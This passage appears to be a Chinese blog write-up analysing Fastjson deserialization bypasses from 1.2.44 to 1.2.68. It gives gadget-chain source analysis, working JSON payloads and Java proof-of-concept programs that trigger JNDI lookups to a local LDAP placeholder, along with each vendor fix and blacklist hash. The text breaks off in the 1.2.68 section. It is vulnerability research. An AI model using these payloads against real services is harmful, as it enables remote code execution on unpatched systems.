14
15
16
17
18
package st.southsea;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\n" +
" \"@type\": \"[com.sun.rowset.JdbcRowSetImpl\"[{,\n" +
" \"dataSourceName\": \"ldap://127.0.0.1:14514/test\",\n" +
" \"autoCommit\": true\n" +
"}";

Object user = JSON.parseObject(payload);
System.out.println(user);
}
}

修复

官方在 1.2.44 对漏洞进行了修复,新增了开头是 [ 的判定。

1.2.45

简介

FastJson <= 1.2.45 均生效。

新的 Gadget 绕过黑名单,需要开启 AutoTypeSupport

分析

JndiDataSourceFactory

一个新的 Gadget 绕过黑名单。

1
2
3
4
5
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.4.6</version>
</dependency>

比较简单这个类,第 18 行处调用了 lookup 方法,值为 propertiesDATA_SOURCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// JndiDataSourceFactory (org.apache.ibatis.datasource.jndi)
private DataSource dataSource;

@Override
public void setProperties(Properties properties) {
try {
InitialContext initCtx;
Properties env = getEnvProperties(properties);
if (env == null) {
initCtx = new InitialContext();
} else {
initCtx = new InitialContext(env);
}

if (properties.containsKey(INITIAL_CONTEXT)
&& properties.containsKey(DATA_SOURCE)) {
Context ctx = (Context) initCtx.lookup(properties.getProperty(INITIAL_CONTEXT));
dataSource = (DataSource) ctx.lookup(properties.getProperty(DATA_SOURCE));
} else if (properties.containsKey(DATA_SOURCE)) {
dataSource = (DataSource) initCtx.lookup(properties.getProperty(DATA_SOURCE));
}

} catch (NamingException e) {
throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + e, e);
}
}

总结

新的绕过链,构造如下。

1
2
3
4
5
6
{
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "ldap://127.0.0.1:14514/test"
}
}

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package st.southsea;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\n" +
" \"@type\": \"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\n" +
" \"properties\": {\n" +
" \"data_source\": \"ldap://127.0.0.1:14514/test\"\n" +
" }\n" +
"}";
Object user = JSON.parseObject(payload);
System.out.println(user);
}
}

修复

官方在 1.2.46 对漏洞进行了修复,加了几个 denyHashCodes,其中 8083514888460375884[org.apache.ibatis.datasource]

1.2.47

简介

1.2.25 <= FastJson <= 1.2.32 可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。

1.2.33 <= FastJson <= 1.2.47 需要开启 AutoTypeSupport

分析

checkAutoType

重点还是在 checkAutoType 这儿,代码注释如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
// ParserConfig (com.alibaba.fastjson.parser)
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// ...
// autoTypeSupport 为 true 时
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
// 先匹配白名单 acceptHashCodes
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
// 若为白名单则加载
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
// 再匹配黑名单 denyHashCodes,若在黑名单中且 TypeUtils.mappings 里没有缓存这个类则抛出异常
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

// 类为空则在 TypeUtils 的 mapping 缓存中寻找
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}

// 类为空则在 deserializers 中寻找
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

// 找到类就返回
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

// autoTypeSupport 为 false 时
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;

// 先匹配黑名单 denyHashCodes
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
// 存在则抛出异常
throw new JSONException("autoType is not support. " + typeName);
}
// 再匹配白名单 acceptHashCodes
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
// 类为空则加载
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}
// ...
}

先判断 autoTypeSupporttrue 时,如果匹配到黑名单,但 TypeUtils.mappings 中没有该类的缓存,才会抛出异常。

接着是从 TypeUtils.mappingsdeserializers 中读取类,存在则直接返回。

然后判断 autoTypeSupportfalse 时,如果匹配到黑名单直接抛出异常。

因此不论是否开启 autoTypeSupport,只要使得 TypeUtils.mappings 中有该类的缓存,那么就能直接成功返回反序列化利用类。

getClassFromMapping

getClassFromMapping 返回的是 TypeUtils.mappings 的内容。

1
2
3
public static Class<?> getClassFromMapping(String className) {
return (Class)mappings.get(className);
}

查看一下调用的地方,有 put 操作的地方在 loadClass 方法。

loadClass

cachetrue 的时候,无论如何 mappings 最终都会置入类。而 loadClass 有三个重载方法,cache 皆为 true

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
// TypeUtils (com.alibaba.fastjson.util)
public static Class<?> loadClass(String className){
return loadClass(className, null);
}

public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, true);
}

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
// ...
try{
// 如果 classLoader 非空
if(classLoader != null){
clazz = classLoader.loadClass(className);
// cache 为 true
if (cache) {
// 则使用该类加载器加载并存入 mappings 中
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
// 如果失败,或没有指定 classLoader
try{
// 使用上下文 contextClassLoader
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
// cache 为 true
if (cache) {
// 则使用该类加载器加载并存入 mappings 中
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
// 如果失败
try{
// 使用类名加载
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}

关键点在 MiscCodec#deserialze 调用的 Class<?> loadClass(String className, ClassLoader classLoader)

deserialze

parser.resolveStatusDefaultJSONParser.TypeNameRedirect 时,第 20 行处解析 val 的值,在 32 行传给 strVal,最后在 58 行判断 class,然后调用 loadClassstrVal 作为类名加进 mappings

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
// ...
Object objVal;

if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA);

if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}

parser.accept(JSONToken.COLON);

objVal = parser.parse();

parser.accept(JSONToken.RBRACE);
} else {
objVal = parser.parse();
}

String strVal;

if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
} else {
if (objVal instanceof JSONObject) {
JSONObject jsonObject = (JSONObject) objVal;

if (clazz == Currency.class) {
String currency = jsonObject.getString("currency");
if (currency != null) {
return (T) Currency.getInstance(currency);
}

String symbol = jsonObject.getString("currencyCode");
if (symbol != null) {
return (T) Currency.getInstance(symbol);
}
}

if (clazz == Map.Entry.class) {
return (T) jsonObject.entrySet().iterator().next();
}

return jsonObject.toJavaObject(clazz);
}
throw new JSONException("expect string");
}
// ...
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
// ...
}

老样子查看调用 deserialze 的地方,跟进 DefaultJSONParser#parseObject

parseObject

解析到 keyJSON.DEFAULT_TYPE_KEY@type 时进入,获取 typeName 后使用 checkAutoType 进行合法性检查,结合上文调用 loadClass 的地方,则此处 typeName 应该为 java.lang.Class,这自然是一个合法类,且在初始化时就被 ParserConfig#initDeserializers 加载在 checkAutoType 要调用的 deserializers 变量里,因此在第 7 行成功返回。

随后在 22 行处使用 setResolveStatus 设置了 TypeNameRedirect,最后调用 deserialze 方法返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// parseObject (com.alibaba.fastjson.parser)
public Object parse(PropertyProcessable object, Object fieldName) {
// ...
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"');

Class<?> clazz = config.checkAutoType(typeName, null, lexer.getFeatures());

if (Map.class.isAssignableFrom(clazz) ) {
lexer.nextToken(JSONToken.COMMA);
if (lexer.token() == JSONToken.RBRACE) {
lexer.nextToken(JSONToken.COMMA);
return object;
}
continue;
}

ObjectDeserializer deserializer = config.getDeserializer(clazz);

lexer.nextToken(JSONToken.COMMA);

setResolveStatus(DefaultJSONParser.TypeNameRedirect);

if (context != null && !(fieldName instanceof Integer)) {
popContext();
}

return (Map) deserializer.deserialze(this, clazz, fieldName);
}
// ...
}

总结

首先使用如下 Payload,将 JdbcRowSetImpl 存入 TypeUtils.mappings

1
2
3
4
{
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
}

然后按照常规 Payload打,最终 Payload 如下。

1
2
3
4
5
6
7
8
9
10
11
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:14514/test",
"autoCommit": true
}
}

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package st.southsea;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\n" +
" \"a\": {\n" +
" \"@type\": \"java.lang.Class\",\n" +
" \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
" },\n" +
" \"b\": {\n" +
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\": \"ldap://127.0.0.1:14514/test\",\n" +
" \"autoCommit\": true\n" +
" }\n" +
"}";
Object user = JSON.parseObject(payload);
System.out.println(user);
}
}

修复

官方在 1.2.48 对漏洞进行了修复,在 MiscCodec 处理 Class 类的地方,设置了 cachefalse

并且 loadClass 重载方法的默认的调用改为不缓存,这就避免了使用了 Class 提前将恶意类名缓存进去。

且黑名单新增了 1459860845934817624[java.net.InetAddress]8409640769019589119[java.lang.Class]

1.2.62

简介

FastJson <= 1.2.63 均生效。

新的 Gadget 绕过黑名单,需要开启 AutoTypeSupport

分析

一个新的 Gadget 绕过黑名单,测试发现从 3.4 版本到如今的 4.23 皆可用。

1
2
3
4
5
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>4.23</version>
</dependency>

JndiConverter

JndiConverter 的无参构造函数调用了父类 AbstractConverter 的构造方法。

1
2
3
4
// JndiConverter (org.apache.xbean.propertyeditor)
public JndiConverter() {
super(Context.class);
}

AbstractConvertersetAsText 跳转 toObjecttoObjectImpl 抽象方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// AbstractConverter (org.apache.xbean.propertyeditor)
public final void setAsText(String text) {
Object value = toObject(text.trim());
super.setValue(value);
}

public final Object toObject(String text) {
if (text == null) {
return null;
}

Object value = toObjectImpl(text.trim());
return value;
}

protected abstract Object toObjectImpl(String text);

JndiConverter 中实现了这个抽象方法,调用了 context.lookup,完成 JNDI 注入。

1
2
3
4
5
6
7
8
9
// JndiConverter (org.apache.xbean.propertyeditor)
protected Object toObjectImpl(String text) {
try {
InitialContext context = new InitialContext();
return (Context) context.lookup(text);
} catch (NamingException e) {
throw new PropertyEditorException(e);
}
}

总结

新的绕过链,构造如下。

1
2
3
4
{
"@type": "org.apache.xbean.propertyeditor.JndiConverter",
"AsText": "ldap://127.0.0.1:14514/test"
}

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package st.southsea;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\n" +
" \"@type\": \"org.apache.xbean.propertyeditor.JndiConverter\",\n" +
" \"AsText\": \"ldap://127.0.0.1:14514/test\"\n" +
"}";
Object user = JSON.parseObject(payload);
System.out.println(user);
}
}

修复

官方在 1.2.66 对漏洞进行了修复,加了几个 denyHashCodes,其中 0x665C53C311193973L[org.apache.xbean]

1.2.66

简介

FastJson <= 1.2.66 均生效。

新的 Gadget 绕过黑名单,需要开启 AutoTypeSupport

JndiRealmFactory

分析

一个新的 Gadget 绕过黑名单。

1
2
3
4
5
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.11.0</version>
</dependency>

JndiRealmFactory 通过 setJndiNames 设置 jndiNames,然后 getRealms 由于符合 Getter 方法的条件会被触发,因此在 16 行处得以遍历 jndiNames 触发 JNDI 注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// JndiRealmFactory (org.apache.shiro.realm.jndi)
public void setJndiNames(Collection<String> jndiNames) {
this.jndiNames = jndiNames;
}

public Collection<Realm> getRealms() throws IllegalStateException {
Collection<String> jndiNames = getJndiNames();
if (jndiNames == null || jndiNames.isEmpty()) {
String msg = "One or more jndi names must be specified for the " +
getClass().getName() + " to locate Realms.";
throw new IllegalStateException(msg);
}
List<Realm> realms = new ArrayList<Realm>(jndiNames.size());
for (String name : jndiNames) {
try {
Realm realm = (Realm) lookup(name, Realm.class);
realms.add(realm);
} catch (Exception e) {
throw new IllegalStateException("Unable to look up realm with jndi name '" + name + "'.", e);
}
}
return realms.isEmpty() ? null : realms;
}

JndiRealmFactory#getRealms 调用 JndiLocator#lookup,然后跳转 JndiTemplate#lookup 最后到 ctx.lookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// JndiLocator (org.apache.shiro.jndi)
protected Object lookup(String jndiName, Class requiredType) throws NamingException {
if (jndiName == null) {
throw new IllegalArgumentException("jndiName argument must not be null");
}
String convertedName = convertJndiName(jndiName);
Object jndiObject;
try {
jndiObject = getJndiTemplate().lookup(convertedName, requiredType);
}
catch (NamingException ex) {
if (!convertedName.equals(jndiName)) {
// Try fallback to originally specified name...
if (log.isDebugEnabled()) {
log.debug("Converted JNDI name [" + convertedName +
"] not found - trying original name [" + jndiName + "]. " + ex);
}
jndiObject = getJndiTemplate().lookup(jndiName, requiredType);
} else {
throw ex;
}
}
log.debug("Located object with JNDI name '{}'", convertedName);
return jndiObject;
}

// JndiTemplate (org.apache.shiro.jndi)
public Object lookup(String name, Class requiredType) throws NamingException {
Object jndiObject = lookup(name);
if (requiredType != null && !requiredType.isInstance(jndiObject)) {
String msg = "Jndi object acquired under name '" + name + "' is of type [" +
jndiObject.getClass().getName() + "] and not assignable to the required type [" +
requiredType.getName() + "].";
throw new NamingException(msg);
}
return jndiObject;
}

public Object lookup(final String name) throws NamingException {
log.debug("Looking up JNDI object with name '{}'", name);
return execute(new JndiCallback() {
public Object doInContext(Context ctx) throws NamingException {
Object located = ctx.lookup(name);
if (located == null) {
throw new NameNotFoundException(
"JNDI object with [" + name + "] not found: JNDI implementation returned null");
}
return located;
}
});
}

总结

1
2
3
4
5
{
"@type": "org.apache.shiro.realm.jndi.JndiRealmFactory",
"jndiNames": ["ldap://127.0.0.1:14514/test"],
"Realms": [""]
}

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package st.southsea;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\n" +
" \"@type\": \"org.apache.shiro.realm.jndi.JndiRealmFactory\",\n" +
" \"jndiNames\": [\"ldap://127.0.0.1:14514/test\"],\n" +
" \"Realms\": [\"\"]\n" +
"}";
Object user = JSON.parseObject(payload);
System.out.println(user);
}
}

AnterosDBCPConfig

metricRegistry

分析

配置如下。

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>br.com.anteros</groupId>
<artifactId>Anteros-Core</artifactId>
<version>1.3.6</version>
</dependency>
<dependency>
<groupId>br.com.anteros</groupId>
<artifactId>Anteros-DBCP</artifactId>
<version>1.0.1</version>
</dependency>

一目了然的 setMetricRegistrygetObjectOrPerformJndiLookup,最后 initCtx.lookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// AnterosDBCPConfig (br.com.anteros.dbcp)
public void setMetricRegistry(Object metricRegistry)
{
if (metricsTrackerFactory != null) {
throw new IllegalStateException("cannot use setMetricRegistry() and setMetricsTrackerFactory() together");
}

if (metricRegistry != null) {
metricRegistry = getObjectOrPerformJndiLookup(metricRegistry);

if (!safeIsAssignableFrom(metricRegistry, "com.codahale.metrics.MetricRegistry")
&& !(safeIsAssignableFrom(metricRegistry, "io.micrometer.core.instrument.MeterRegistry"))) {
throw new IllegalArgumentException("Class must be instance of com.codahale.metrics.MetricRegistry or io.micrometer.core.instrument.MeterRegistry");
}
}

this.metricRegistry = metricRegistry;
}

private Object getObjectOrPerformJndiLookup(Object object)
{
if (object instanceof String) {
try {
InitialContext initCtx = new InitialContext();
return initCtx.lookup((String) object);
}
catch (NamingException e) {
throw new IllegalArgumentException(e);
}
}
return object;
}
总结
1
2
3
4
{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"metricRegistry": "ldap://127.0.0.1:14514/test"
}
例子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package st.southsea;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\n" +
" \"@type\": \"br.com.anteros.dbcp.AnterosDBCPConfig\",\n" +
" \"metricRegistry\": \"ldap://127.0.0.1:14514/test\"\n" +
"}";
Object user = JSON.parseObject(payload);
System.out.println(user);
}
}

healthCheckRegistry

分析

和上文相似,setHealthCheckRegistrygetObjectOrPerformJndiLookup,最后 initCtx.lookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// AnterosDBCPConfig (br.com.anteros.dbcp)
public void setHealthCheckRegistry(Object healthCheckRegistry)
{
checkIfSealed();

if (healthCheckRegistry != null) {
healthCheckRegistry = getObjectOrPerformJndiLookup(healthCheckRegistry);

if (!(healthCheckRegistry instanceof HealthCheckRegistry)) {
throw new IllegalArgumentException("Class must be an instance of com.codahale.metrics.health.HealthCheckRegistry");
}
}

this.healthCheckRegistry = healthCheckRegistry;
}

private Object getObjectOrPerformJndiLookup(Object object)
{
if (object instanceof String) {
try {
InitialContext initCtx = new InitialContext();
return initCtx.lookup((String) object);
}
catch (NamingException e) {
throw new IllegalArgumentException(e);
}
}
return object;
}
总结
1
2
3
4
{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"healthCheckRegistry": "ldap://127.0.0.1:14514/test"
}
例子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package st.southsea;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\n" +
" \"@type\": \"br.com.anteros.dbcp.AnterosDBCPConfig\",\n" +
" \"healthCheckRegistry\": \"ldap://127.0.0.1:14514/test\"\n" +
"}";
Object user = JSON.parseObject(payload);
System.out.println(user);
}
}

JtaTransactionConfig

分析

配置如下。

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.ibatis</groupId>
<artifactId>ibatis-sqlmap</artifactId>
<version>2.3.4.726</version>
</dependency>
<dependency>
<groupId>javax</groupId>
<artifactId>javaee-api</artifactId>
<version>8.0.1</version>
</dependency>

也是很清晰的一个链,setProperties 中获取 UserTransaction,然后调用 initCtx.lookup

1
2
3
4
5
6
7
8
9
10
11
// JtaTransactionConfig (com.ibatis.sqlmap.engine.transaction.jta)
public void setProperties(Properties props) throws SQLException, TransactionException {
String utxName = null;
try {
utxName = (String) props.get("UserTransaction");
InitialContext initCtx = new InitialContext();
userTransaction = (UserTransaction) initCtx.lookup(utxName);
} catch (NamingException e) {
throw new SqlMapException("Error initializing JtaTransactionConfig while looking up UserTransaction (" + utxName + "). Cause: " + e);
}
}

总结

新的绕过链,构造如下。

1
2
3
4
5
6
7
{
"@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
"properties": {
"@type": "java.util.Properties",
"UserTransaction": "ldap://127.0.0.1:14514/test"
}
}

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package st.southsea;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\n" +
" \"@type\": \"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\n" +
" \"properties\": {\n" +
" \"@type\": \"java.util.Properties\",\n" +
" \"UserTransaction\": \"ldap://127.0.0.1:14514/test\"\n" +
" }\n" +
"}";
Object user = JSON.parseObject(payload);
System.out.println(user);
}
}

修复

官方在 1.2.67 对漏洞进行了修复,加了如下 denyHashCodes

version hash hex-hash name
1.2.67 -7775351613326101303L 0x941866e73beff4c9L org.apache.shiro.realm.
1.2.67 2731823439467737506L 0x25e962f1c28f71a2L br.com.anteros.
1.2.67 -2378990704010641148L 0xdefc208f237d4104L com.ibatis.

1.2.67

简介

FastJson <= 1.2.67 均生效。

新的 Gadget 绕过黑名单,需要开启 AutoTypeSupport

CacheJndiTmLookup

分析

配置如下。

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.ignite</groupId>
<artifactId>ignite-core</artifactId>
<version>2.15.0</version>
</dependency>
<dependency>
<groupId>org.apache.ignite</groupId>
<artifactId>ignite-jta</artifactId>
<version>2.15.0</version>
</dependency>

在这条链中,getTm 被触发,调用了 ctx.lookup,但是这个方法并不符合上文所述的特殊 Getter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// CacheJndiTmLookup (org.apache.ignite.cache.jta.jndi)
public void setJndiNames(List<String> jndiNames) {
this.jndiNames = jndiNames;
}

@Nullable @Override public TransactionManager getTm() throws IgniteException {
assert jndiNames != null;
assert !jndiNames.isEmpty();

try {
InitialContext ctx = new InitialContext();

for (String s : jndiNames) {
Object obj = ctx.lookup(s);

if (obj != null && obj instanceof TransactionManager)
return (TransactionManager)obj;
}
}
catch (NamingException e) {
throw new IgniteException("Unable to lookup TM by: " + jndiNames, e);
}

return null;
}
循环引用

这里涉及到一个 FastJson循环引用问题。

语法 描述
{"$ref":"$"} 引用根对象
{"$ref":"@"} 引用自己
{"$ref":".."} 引用父对象
{"$ref":"../.."} 引用父对象的父对象
{"$ref":"$.members[0].reportTo"} 基于路径的引用

因此可以通过这个循环引用来调用其他方法。

总结

1
2
3
4
5
6
7
8
9
{
"@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
"jndiNames": [
"ldap://127.0.0.1:14514/test"
],
"tm": {
"$ref": "$.tm"
}
}

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package st.southsea;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\n" +
" \"@type\": \"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\",\n" +
" \"jndiNames\": [\n" +
" \"ldap://127.0.0.1:14514/test\"\n" +
" ],\n" +
" \"tm\": {\n" +
" \t\"$ref\": \"$.tm\"\n" +
" }\n" +
"}";
Object user = JSON.parseObject(payload);
System.out.println(user);
}
}

JndiObjectFactory

分析

配置如下。

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.11.0</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>2.0.7</version>
</dependency>

同样是循环引用调用的 getInstancelookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// JndiLocator (org.apache.shiro.jndi)
public void setResourceName(String resourceName) {
this.resourceName = resourceName;
}

public T getInstance() {
try {
if(requiredType != null) {
return requiredType.cast(this.lookup(resourceName, requiredType));
} else {
return (T) this.lookup(resourceName);
}
} catch (NamingException e) {
final String typeName = requiredType != null ? requiredType.getName() : "object";
throw new IllegalStateException("Unable to look up " + typeName + " with jndi name '" + resourceName + "'.", e);
}
}

总结

1
2
3
4
5
6
7
{
"@type": "org.apache.shiro.jndi.JndiObjectFactory",
"resourceName": "ldap://127.0.0.1:14514/test",
"instance": {
"$ref": "$.instance"
}
}

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package st.southsea;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\n" +
" \"@type\": \"org.apache.shiro.jndi.JndiObjectFactory\",\n" +
" \"resourceName\": \"ldap://127.0.0.1:14514/test\",\n" +
" \"instance\": {\n" +
" \t\"$ref\": \"$.instance\"\n" +
" }\n" +
"}";
Object user = JSON.parseObject(payload);
System.out.println(user);
}
}

修复

官方在 1.2.68 对漏洞进行了修复,加了如下 denyHashCodes

version hash hex-hash name
1.2.68 -3077205613010077203L 0xd54b91cc77b239edL org.apache.shiro.jndi.
1.2.68 -2825378362173150292L 0xd8ca3d595e982bacL org.apache.ignite.cache.jta.

1.2.68

简介

FastJson <= 1.2.68 均生效。

expectClass 子类绕过,无需开启 AutoTypeSupport

分析

配置如下。

1
2
3
4
5
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>

跟着 Payload 看一遍流程吧。

1
2
3
4
5
6
{
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"tempPath": "/tmp/1",
"targetPath": "/tmp/2"
}

DefaultJSONParser#parseObject 读到 keyDEFAULT_TYPE_KEY@type,进入 if27 行处因为非数字所以调用 checkAutoType,此时 expectClass 为空。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// DefaultJSONParser (com.alibaba.fastjson.parser)
public final Object parseObject(final Map object, Object fieldName) {
// ...
if (key == JSON.DEFAULT_TYPE_KEY
&& !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
String typeName = lexer.scanSymbol(symbolTable, '"');

if (lexer.isEnabled(Feature.IgnoreAutoType)) {
continue;
}

Class<?> clazz = null;
if (object != null
&& object.getClass().getName().equals(typeName)) {
clazz = object.getClass();
} else {

boolean allDigits = true;
for (int i = 0; i < typeName.length(); ++i) {
char c = typeName.charAt(i);
if (c < '0' || c > '9') {
allDigits = false;
break;
}
}

if (!allDigits) {
clazz = config.checkAutoType(typeName, null, lexer.getFeatures());
}
}
// ...
}
// ...
}

checkAutoType 中由于 expectClass 为空,所以 expectClassFlagfalse,且其不在 INTERNAL_WHITELIST_HASHCODES 中,所以一路跳过各种 if 判断,直接 getClassFromMapping 拿到 AutoCloseable 类,然后返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// ParserConfig (com.alibaba.fastjson.parser)
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// ...
final boolean expectClassFlag;
if (expectClass == null) {
expectClassFlag = false;
} else {
if (expectClass == Object.class
|| expectClass == Serializable.class
